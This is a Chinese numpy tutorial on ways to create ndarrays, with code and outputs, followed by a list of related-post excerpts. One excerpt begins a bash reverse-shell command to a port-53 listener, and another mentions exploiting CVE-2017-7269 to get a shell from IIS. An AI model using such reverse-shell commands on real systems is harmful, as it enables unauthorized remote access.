numpy教程01---ndarray的创建
欢迎关注公众号【Python开发实战】, 获取更多内容!

工具-numpy
numpy是使用Python进行数据科学的基础库。numpy以一个强大的N维数组对象为中心,它还包含有用的线性代数,傅里叶变换和随机数函数。
创建数组
导入numpy
import numpy as np
np.zeros
zeros函数创建一个包含任意数量0的数组
np.zeros(5)
输出:
array([0., 0., 0., 0., 0.])
通过提供所需行数和列数的元组,创建2维数组同样容易
np.zeros((3, 4))
输出:
array([[0., 0., 0., 0.],
[0., 0., 0., 0.],
[0., 0., 0., 0.]])
在numpy中,每个维度被称为轴。
轴的数量称为秩。
例如,上面3×4的矩阵是秩为2的数组(它是二维的)。
第一个轴的长度为3,第二个轴的长度为4.
轴长度的数组称为数组的形状。
例如,上面矩阵的形状是(3, 4)
秩等于形状的长度。
数组的大小是元素的总数,它是所有轴长度的乘积。
a = np.zeros((3, 4))
a.ndim
输出:
2
a.shape
输出:
(3, 4)
a.size
输出:
12
N维数组
也可以创建一个任意秩的N维数组。例如,创建一个三维数组,秩为3, 形状(2, 3, 4)
np.zeros((2, 3, 4))
输出:
array([[[0., 0., 0., 0.],
[0., 0., 0., 0.],
[0., 0., 0., 0.]],
[[0., 0., 0., 0.],
[0., 0., 0., 0.],
[0., 0., 0., 0.]]])
数组类型
numpy数组的类型为ndarray
type(np.zeros((3, 4)))
输出:
numpy.ndarray
np.ones
有许多其他numpy函数创建数组,例如,创建一个全为1的3×4矩阵
np.ones((3, 4))
输出:
array([[1., 1., 1., 1.],
[1., 1., 1., 1.],
[1., 1., 1., 1.]])
np.full
创建一个用给定值初始化的给定形状的数组,例如,创建一个3×4的值全为π的矩阵
np.full((3, 4), np.pi)
输出:
array([[3.14159265, 3.14159265, 3.14159265, 3.14159265],
[3.14159265, 3.14159265, 3.14159265, 3.14159265],
[3.14159265, 3.14159265, 3.14159265, 3.14159265]])
np.empty
一个未初始化的2×3矩阵,它的内容是不可预测的,因为它在创建时可以是内存中的任何内容
np.empty((2, 3))
输出:
array([[2.67e-322, 0.00e+000, 0.00e+000],
[0.00e+000, 0.00e+000, 0.00e+000]])
np.array
调用np.array函数,可以使用一个常规的Python数组来初始化一个ndarray
np.array([[1, 2, 3, 4], [10, 20, 30, 40]])
输出:
array([[ 1, 2, 3, 4],
[10, 20, 30, 40]])
np.arange
也可以使用np.arange函数来创建ndarray,它和Python的内置函数range很相似
np.arange(5)
输出:
array([0, 1, 2, 3, 4])
它也可以适用于浮点数
np.arange(1.0, 5.0)
输出:
array([1., 2., 3., 4.])
也可以提供一个步长
np.arange(1, 5, 0.5)
输出:
array([1. , 1.5, 2. , 2.5, 3. , 3.5, 4. , 4.5])
然而,在处理浮点数时,数组中元素的确切数量不总是可预测的,例如
print(np.arange(0, 5/3, 1/3))
print(np.arange(0, 5/3, 0.333333333))
print(np.arange(0, 5/3, 0.333333334))
[0. 0.33333333 0.66666667 1. 1.33333333 1.66666667]
[0. 0.33333333 0.66666667 1. 1.33333333 1.66666667]
[0. 0.33333333 0.66666667 1. 1.33333334]
np.linspace
因此,在处理浮点数时,通常使用np.linspace函数代替np.arange更为合适。
np.linspace函数返回一个数组,数组包含在两个值之间均匀分布的确定数量的点,注意最大值是包含的,和arange相反
np.linspace(0, 5/3, 6)
输出:
array([0. , 0.33333333, 0.66666667, 1. , 1.33333333,
1.66666667])
np.random.rand和np.random.randn
在numpy的random模块中,有许多函数可以用来创建随机值初始化的ndarray。例如,用0和1之间的随机浮点数(均匀分布),初始化一个3×4的矩阵
np.random.rand(3, 4)
输出:
array([[0.30586708, 0.34763449, 0.519684 , 0.04926177],
[0.29417614, 0.97678489, 0.9705164 , 0.98024753],
[0.47643478, 0.60871336, 0.75896665, 0.65856085]])
下面是一个3×4的矩阵,包含从均值为0、方差为1的单变量正态分布(高斯分布)中采样的随机浮点数
np.random.randn(3, 4)
输出:
array([[-1.05615896, 0.78109315, -0.48346535, 0.12796358],
[ 2.14751189, -0.52941474, 0.51978758, -0.24381611],
[ 0.78067641, -1.63344577, 0.26140033, 1.2056936 ]])
下面给出了均匀分布和正态分布的图像
%matplotlib inline
import matplotlib.pyplot as plt
plt.hist(np.random.rand(100000), density=True, bins=100, histtype="step", color="blue", label="rand")
plt.hist(np.random.randn(100000), density=True, bins=100, histtype="step", color='red', label="randn")
plt.axis([-2.5, 2.5, 0, 1.1])
plt.legend(loc="upper left")
plt.title('random distributions')
plt.xlabel('value')
plt.ylabel('density')
plt.show()

np.fromfunction
也可以使用一个函数来初始化一个ndarray
def my_func(z, y, x):
return x+10*y+100*z
np.fromfunction(my_func, (3, 2, 2))
输出:
array([[[ 0., 1.],
[ 10., 11.]],
[[100., 101.],
[110., 111.]],
[[200., 201.],
[210., 211.]]])
numpy首先创建3个ndarray, 每个维度一个,每个的形状为(3, 2, 2)。
每个ndarray的值等于沿特定轴的坐标,例如 z 数组中的所有元素都等于其 z 坐标
所以函数中的表达式,实际上是对数组的运算,且函数只被调用一次
def func2(x, y):
return x+2*y
np.fromfunction(func2, (2, 2))
输出:
array([[0., 2.],
[1., 3.]])
def func3(x):
return x
np.fromfunction(func3, (2, ))
输出:
array([0., 1.])
numpy教程01---ndarray的创建的更多相关文章
- NumPy学习_00 ndarray的创建
1.使用array()函数创建数组 参数可以为:单层或嵌套列表:嵌套元组或元组列表:元组或列表组成的列表 # 导入numpy库 import numpy as np # 由单层列表创建 a = np. ...
- Android教程-01 Android Studio创建第一个项目
视频教程建议采用超清模式, 关注更多视频订阅我的优酷 最近一直使用Android Studio 简单把Android Studio介绍下 1. 首先介绍下 Android Studio的快捷键 由于之 ...
- numpy教程
[转]CS231n课程笔记翻译:Python Numpy教程 原文链接:https://zhuanlan.zhihu.com/p/20878530 译者注:本文智能单元首发,翻译自斯坦福CS231n课 ...
- 转:Numpy教程
因为用到theano写函数的时候饱受数据结构困扰 于是上网找了一篇numpy教程(theano的数据类型是基于numpy的) 原文排版更好,阅读体验更佳: http://phddreamer.blog ...
- Python 机器学习库 NumPy 教程
0 Numpy简单介绍 Numpy是Python的一个科学计算的库,提供了矩阵运算的功能,其一般与Scipy.matplotlib一起使用.其实,list已经提供了类似于矩阵的表示形式,不过numpy ...
- NumPy 基于已有数据创建数组
原文:Python Numpy 教程 章节 Numpy 介绍 Numpy 安装 NumPy ndarray NumPy 数据类型 NumPy 数组创建 NumPy 基于已有数据创建数组 NumPy 基 ...
- Node.js 教程 01 - 简介、安装及配置
系列目录: Node.js 教程 01 - 简介.安装及配置 Node.js 教程 02 - 经典的Hello World Node.js 教程 03 - 创建HTTP服务器 Node.js 教程 0 ...
- 【Zigbee技术入门教程-01】Zigbee无线组网技术入门的学习路线
[Zigbee技术入门教程-01]Zigbee无线组网技术入门的学习路线 广东职业技术学院 欧浩源 一.引言 在物联网技术应用的知识体系中,Zigbee无线组网技术是非常重要的一环,也是大家感 ...
- NumPy 从已有的数组创建数组
NumPy 从已有的数组创建数组 本章节我们将学习如何从已有的数组创建数组. numpy.asarray numpy.asarray 类似 numpy.array,但 numpy.asarray 只有 ...
- [译]Vulkan教程(01)入门
[译]Vulkan教程(01)入门 接下来我将翻译(https://vulkan-tutorial.com)上的Vulkan教程.这可能是我学习Vulkan的最好方式,但不是最理想的方式. 我会用“d ...
随机推荐
- 万字长文---关于PKM收集与整理系统的思考和实践
PKM闭环中有一个很重要的环节就是信息输入,包括各种信息来源,例如微信公众号.博客.知乎.RSS等等,因此也就诞生了一大堆稍后读软件,如何真正有效的获取输入而不是做一只仓鼠是需要思考的.最近看了< ...
- 打靶笔记-01-vulnhub-moneybox
打靶笔记-01-vulnhub-moneybox 本篇笔记根据苑老师视频进行学习记录 https://www.bilibili.com/video/BV1Lv411n7Lq/?spm_id_from= ...
- JavaSE 千寻简学习笔记
JavaSE 千寻简学习笔记 简介 TIOBE:编程语言排行榜 官网:https://hellogithub.com/report/tiobe/ 如何高效的学习Java 多写(代码)多写(笔记)多写( ...
- 程序设计基础·Java学习笔记·面向对象(下)
Java程序设计基础之面向对象(下) (补充了上的一些遗漏的知识,同时加入了自己的笔记的ヾ(•ω•`)o) (至于为什么分P,啊大概是为了自己查笔记方便(?)应该是("` 3′") ...
- Linux上搭建meterSphere
镜像下载.域名解析.时间同步请点击 阿里云开源镜像站 一.安装Docker (1)安装CentOS Docker curl -fsSL https://get.docker.com | bash -s ...
- oracle 如何在表中有数据的情况下,修改表字段的类型或者增加表字段的长度
场景:项目中某张表的字段长度不够用了,现在要增加其长度 分两种情况: 1.表中没有数据的情况,直接一条sql语句就能解决 alter table 表名 modify(字段名 字 ...
- CVE-2017-7269(IIS远程代码执行)
利用CVE-2017-7269让IIS向自己的msf反弹一个shell 漏洞编号:CVE2017-7269 服务器版本:Windows server 2003 中间件:IIS6.0 攻击工具:meta ...
- 53端口反弹shell
shell反弹 由于防火墙策略,导致并不能按预期的反弹shell,端口被封禁,可以使用53端口进行反弹shell 命令如下: bash -c 'sh -i &>/dev/tcp/210. ...
- bzoj4044/luoguP4762 [Cerc2014]Virus synthesis(回文自动机+dp)
bzoj4044/luoguP4762 [Cerc2014]Virus synthesis(回文自动机+dp) bzoj Luogu 你要用ATGC四个字母用两种操作拼出给定的串: 1.将其中一个字符 ...
- select 中的timeout
1. select 相关man 资料 /* According to POSIX.1-2001 */ #include <sys/select.h> /* According to ear ...